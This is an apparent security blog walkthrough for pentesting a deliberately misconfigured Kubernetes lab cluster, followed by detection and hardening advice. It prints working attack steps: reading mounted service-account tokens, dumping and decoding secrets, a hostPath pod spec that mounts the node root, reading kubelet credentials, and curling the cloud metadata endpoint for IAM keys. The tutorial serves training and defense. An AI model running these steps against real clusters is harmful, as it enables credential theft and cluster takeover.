0
Hands-on Labs INTERMEDIATE 13 min read Updated

Pentesting a Misconfigured Kubernetes Cluster in a Lab

A hands-on Kubernetes pentesting walkthrough in a lab you own: model the cluster, run external recon, enumerate from a pod, abuse loose RBAC, escape to the node, move laterally, then detect and defend.

founder & security researcher · 39 writeups
Pentesting a Misconfigured Kubernetes Cluster in a Lab

Kubernetes pentesting is the practice of treating a cluster the way an attacker would: as a stack of APIs, tokens, and trust boundaries that are only as strong as their defaults. A cluster is not one machine, it is a control plane steering many nodes, and most break-ins are not exotic zero days. They are a mounted service-account token with more rights than anyone meant to grant, a kubelet listening on the wrong interface, or a pod allowed to mount the host. This walkthrough builds a safe practice cluster, finds those gaps from the outside and from inside a pod, and then closes every one of them.

Read it top to bottom once to build the mental model, then keep it open as a checklist while you work a lab. Every command here runs against a cluster you own or are authorized to assess, on the internal range 10.10.10.0/24.

Scope

Run everything in this post only against a cluster you own or have written permission to test, such as a local kind cluster or Kubernetes Goat on your own machine. Touching a cluster you do not control is a crime, and metadata endpoints in particular can expose real cloud credentials.

01A quick model of a Kubernetes cluster

A Kubernetes cluster is easier to attack once you picture its moving parts, so start with the model before any Kubernetes pentesting. The control plane is the brain. Its center is the API server, the single front door every request passes through, usually on TCP 6443. Behind it sits etcd, the key value store that holds the entire cluster state including every Secret. The scheduler and controller manager round out the control plane.

The nodes are the worker machines. Each runs a kubelet, the agent that starts and stops containers and answers on TCP 10250. Workloads run as pods, one or more containers sharing a network namespace. Access inside the cluster is governed by RBAC, which maps subjects to verbs on resources, and most automated access uses a service account, whose token is mounted into pods by default.

the trust boundaries worth attacking
Client / pod 6443 API serverRBAC check etcd (all state + secrets) 10250 kubeletnode pod+ SA token

Where it goes wrong is almost always a trust boundary left open: the API server reachable with anonymous or over-broad rights, the kubelet answering unauthenticated, etcd exposed without TLS, a dashboard with a powerful account, or a pod granted far more than it needs. Each of the sections below targets one of those boundaries in order.

02Building a safe practice cluster

A safe practice cluster is the first thing to stand up, because you need a target you are allowed to break. Two options cover almost everything. kind runs a real cluster inside Docker containers in seconds and is perfect for clean RBAC and node experiments. Kubernetes Goat is an intentionally vulnerable cluster from Madhu Akula that ships ready-made misconfigurations, so you can practice each attack with a known-good answer.

bash
# a throwaway single-node cluster you fully own  # 0xpriv.dev/labs
kind create cluster --name lab
kubectl cluster-info --context kind-lab

# or clone the deliberately vulnerable scenarios
git clone https://github.com/madhuakula/kubernetes-goat
cd kubernetes-goat && bash setup-kubernetes-goat.sh
Snapshot first

kind clusters are disposable, so delete and recreate between experiments with kind delete cluster --name lab. That gives you a clean slate and keeps one broken test from poisoning the next.

Give every node in your lab an address in 10.10.10.0/24 so the examples match. Once the cluster is up and kubectl get nodes returns Ready, you have a target that behaves like production without any of the risk.

03External recon against the cluster

External recon maps what the cluster exposes before you have any credentials at all. A misconfigured cluster often leaks several ports to the network, and each is a different way in. Start with a service sweep of the node range, then look specifically at the four endpoints that matter.

PortServiceWhat it can leak
6443API serverAnonymous listing if RBAC binds system:anonymous
10250kubeletPod listing and command exec if unauthenticated
2379etcdEntire cluster state, including every Secret
30000 and upNodePortDashboards and apps published to the network
bash
# service sweep of the node range, then the kubelet read-only API
nmap -p 6443,10250,10255,2379,30000-30010 -sV 10.10.10.0/24

# kube-hunter is the purpose-built scanner for this step
kube-hunter --remote 10.10.10.5

The kubelet is the classic finding. On a hardened node it demands a client certificate, but a loose one answers its read-only and even its exec paths to anyone. Confirm it with a plain request before assuming anything.

an unauthenticated kubelet answering on 10250
$ curl -sk https://10.10.10.5:10250/pods | jq '.items[].metadata.name'
"redis-0"
"web-7c9f"
"metadata-proxy"

An exposed etcd on 2379 without TLS is the jackpot and the rarest: it hands over the whole state store. A Kubernetes Dashboard published through a NodePort is more common, and dangerous only when its service account is powerful, which the next sections show how to measure.

04Enumerating from inside a pod

Enumerating from inside a pod is where most real Kubernetes pentesting happens, because a foothold usually comes from a vulnerable app, not from the control plane directly. The moment you land in a pod, Kubernetes has already handed you something: by default it mounts a service-account token into every pod at a fixed path. That token is your identity to the API server.

bash
# the three files mounted for the pod service account
ls /var/run/secrets/kubernetes.io/serviceaccount/
# -> ca.crt  namespace  token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc

# environment variables often hint at neighbours and backends
env | grep -iE 'KUBERNETES|SERVICE_HOST|_PORT'

With the token in hand, the single most useful question is what it is allowed to do. kubectl auth can-i asks the API server to evaluate RBAC for you, so you learn your rights without guessing. Run it with --list for the full picture.

measuring the token's rights
$ kubectl auth can-i --list --token=$TOKEN
Resources      Non-Resource URLs   Verbs
secrets        []                  [get list]
pods           []                  [get list create]
pods/exec      []                  [create]
$ kubectl auth can-i create pods --token=$TOKEN
yes

One more check belongs here: the cloud metadata endpoint. From inside a pod on a cloud node, 169.254.169.254 may answer and hand back instance credentials. That is a lateral move into the cloud account, covered later, and a reason to always test whether the pod can reach it.

Token means identity

A mounted token is not a vulnerability by itself, it is how pods talk to the API. The risk is the rights behind it. A default token that can only read its own namespace is fine, one that can list secrets cluster-wide is a breach waiting to happen.

05Abusing over-permissive RBAC

Over-permissive RBAC is the most common way a small foothold becomes full control, so this is the heart of the assessment. RBAC binds subjects to verbs on resources, and two verbs stand out because of what they unlock: list secrets reads credentials directly, and create pods lets you run a container with settings the original workload never had.

If can-i said you may list secrets, read them. Service tokens, database passwords, and registry credentials all live there as base64.

bash
# read every secret the token can reach, then decode one
kubectl get secrets -A --token=$TOKEN
kubectl get secret db-creds -o jsonpath='{.data.password}' --token=$TOKEN | base64 -d

Create rights are even stronger, because a new pod runs with whatever you put in its spec. A pod that mounts the host filesystem or runs privileged turns a namespace-scoped token into node access, which is the next section. The point to measure during a test is simply whether the account can create pods at all, and whether anything stops a dangerous spec.

Why create pods is so strong

Creating a pod is effectively arbitrary code execution on a node, under whatever service account and host mounts the spec requests. Treat create pods on a shared account as close to cluster admin, and in a report, flag it as high severity.

06Escaping a pod to the node

Escaping a pod to the node is the step that breaks the container boundary, and in a misconfigured cluster it needs no kernel exploit at all. If your token can create pods, you can ask the scheduler for a pod whose spec quietly erases the isolation: a privileged container, or one that hostPath mounts the node root filesystem at /. The container then reads and writes the node as root.

yaml
# a pod spec that mounts the node root filesystem read-write
# understanding the shape is the goal; a real test keeps it minimal
apiVersion: v1
kind: Pod
metadata: { name: node-reader, namespace: default }
spec:
  containers:
  - name: c
    image: alpine
    command: ["sleep", "3600"]
    volumeMounts:
    - { name: host, mountPath: /host }
  volumes:
  - name: host
    hostPath: { path: / }

Once that pod is running, the node filesystem sits under /host. From there the usual targets are the kubelet's own kubeconfig and client certificate, which often carry far more rights than your starting pod, and any other pod's mounted tokens visible on disk.

reaching node files from the mounted root
$ kubectl exec -it node-reader --token=$TOKEN -- sh
# ls /host/var/lib/kubelet/
config.yaml  pki  pods
# cat /host/etc/kubernetes/kubelet.conf | grep -c client-certificate
1

Privileged pods reach the same place by a different door: with full capabilities a container can enter the host namespaces directly. Either way the lesson for defenders is identical, which is that a pod should never be allowed to request host mounts or privilege in the first place.

07Lateral movement and cloud metadata

Lateral movement turns one compromised node or token into reach across the whole environment. Inside the cluster, a token or kubelet credential that works in one namespace often works in others, because RBAC roles are frequently bound cluster-wide by mistake. Re-run can-i against each namespace and list service accounts to find the most powerful identity you can reach.

bash
# which namespaces exist, and can the current identity act in them
kubectl get ns --token=$TOKEN
for ns in $(kubectl get ns -o name --token=$TOKEN | cut -d/ -f2); do
  echo "== $ns =="; kubectl auth can-i list secrets -n $ns --token=$TOKEN
done

The bigger jump is out of the cluster entirely. On a cloud node the instance metadata service at 169.254.169.254 issues temporary credentials for the node's role. A pod that can reach it, and many can unless network policy blocks it, reads those credentials and then acts in the cloud account with the node's permissions.

a pod reaching node credentials through metadata
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
node-instance-role
$ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/node-instance-role
{ "AccessKeyId": "AKIA...", "SecretAccessKey": "...", "Token": "..." }

In a real cloud this is how a single pod break-in becomes an account-wide incident. In your lab, confirm whether pods can reach that address at all, because the fix is a network policy, not a code change.

08A worked walkthrough

A worked walkthrough ties the pieces together into one chain, the way a short lab run against 10.10.10.5 actually unfolds. Each step is a decision based on what the last one returned.

  1. Land and read identity. You get a shell in a web pod through an app bug. First action is to read the mounted token and run kubectl auth can-i --list to learn your rights.
  2. Measure the token. The list shows get list on secrets and create on pods. That is enough for both a direct read and a node escape.
  3. Take the easy data. List secrets across namespaces and decode a database credential, recording it as an impact finding.
  4. Escape to the node. Because create is allowed and nothing blocks host mounts, schedule a hostPath pod and read the node's kubelet credentials.
  5. Move and report. Test the metadata endpoint and each namespace for reach, then write up the chain with the single fix that would have broken it earliest.

The pattern repeats on almost every misconfigured cluster: a weak foothold, a token with too many rights, and one missing control (host mounts, network policy, or least privilege) that would have stopped the chain cold.

09Detecting the attack

Detecting the attack is realistic because this activity is noisy in the right logs. The API server audit log records every request with its user, verb, and resource, so a service account suddenly listing secrets cluster-wide or creating a privileged pod stands out sharply against its normal pattern. Turn the audit policy on and ship those logs somewhere you can query them.

At runtime, Falco watches syscalls and ships rules for exactly these moves: a shell spawned in a container, a pod mounting a sensitive host path, or a process reading the service-account token in an unusual way. Pair the two and you cover both the control plane and the node.

SignalWhereWhat it suggests
Account lists secrets cluster-wideAPI audit logRBAC abuse or token theft
Create pod with hostPath / privilegedAPI audit logAttempted node escape
Shell spawned inside a containerFalcoInteractive foothold
Outbound hit to 169.254.169.254Network / FalcoMetadata credential theft

10Shutting the cluster down tight

Defending the cluster comes down to removing each boundary the attack above relied on, and almost all of it is configuration rather than new tooling. Fix these and the whole chain breaks at the first step.

How to shut it down
Least-privilege RBAC. Grant the narrowest verbs and resources a workload needs, scoped to one namespace. Never bind broad roles like cluster-admin to a workload account, and audit who can list secrets or create pods.
No privileged or hostPath pods. Enforce Pod Security Standards at the restricted level so the API server rejects privileged containers, host mounts, and host namespaces outright.
Network policies. Default-deny egress, then allow only what each workload needs. This is what blocks a pod from reaching etcd, the kubelet, or the cloud metadata endpoint.
Protect the token and metadata. Set automountServiceAccountToken: false where a pod does not call the API, and block 169.254.169.254 or require IMDSv2 so a pod cannot read node credentials.
Lock the control plane and patch. Require authentication on the kubelet, keep etcd on TLS and off the network, remove anonymous API access, and keep the cluster on a supported, patched version.

11FAQ

Is a mounted service-account token a vulnerability on its own?

No. The token is how a pod authenticates to the API server, and that is by design. The risk is entirely in the RBAC rights behind it. A token that can only read its own namespace is harmless, while one that can list secrets cluster-wide or create pods is close to full control. Audit the rights, and set automountServiceAccountToken: false on pods that never call the API.

What is the fastest high-impact check in a Kubernetes test?

From inside a pod, run kubectl auth can-i --list with the mounted token. It asks the API server to enumerate your rights directly, so in one request you learn whether you can read secrets, create pods, or escape to the node. It beats guessing payloads and tells you exactly which section of an attack chain is open.

Why does "create pods" count as node compromise?

Because a pod runs with whatever its spec requests. If you can create pods and nothing blocks dangerous settings, you can ask for a privileged container or a hostPath mount of the node root, which gives you root on the node. That is why Pod Security Standards at the restricted level matter as much as the RBAC verb itself.

How do I practice this safely and legally?

Build your own target. A kind cluster spins up a real Kubernetes in Docker in seconds, and Kubernetes Goat ships deliberately vulnerable scenarios with known answers. Run both locally on your own machine, keep the nodes on a private range like 10.10.10.0/24, and never point these techniques at a cluster you do not own or have written permission to test.

What single control stops most of this?

There is no one control, but least-privilege RBAC plus Pod Security Standards at the restricted level cover the two biggest steps: over-broad tokens and pod-to-node escapes. Add default-deny network policies to block the metadata endpoint and internal pivoting, and the common attack chain has nowhere left to go.

references

Was this writeup useful?
Alex Rowan Founder & Security Researcher at 0xpriv

Founder of 0xpriv, covering offensive security, web application vulnerabilities, and practical security research through PHP, Python, and hands-on technical analysis.

related writeups

more in Labs →

discussion

0 comments
`code` supported · comments are reviewed before they appear